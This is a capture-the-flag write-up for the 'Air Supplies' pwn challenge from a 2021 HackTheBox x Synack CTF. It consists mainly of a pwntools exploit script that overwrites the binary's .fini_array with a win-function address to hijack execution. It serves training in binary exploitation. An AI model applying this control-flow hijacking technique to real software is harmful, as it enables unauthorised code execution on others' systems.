Air Supplies

Writeup for Air Supplies (pwn) - HackTheBox x Synack RedTeamFive CTF (2021) 💜

Video Walkthrough

Solution

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Set up pwntools for the correct architecture
exe = './air_supplies'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

io.sendlineafter('>', '2')  # Yes, I'm ready
io.sendlineafter('Insert what kind of supply to drop:', str(elf.symbols.__init_array_end))  # Write over .fini_array
io.sendlineafter('Insert location to drop:', str(elf.symbols._))  # With the win function

io.interactive()

Last updated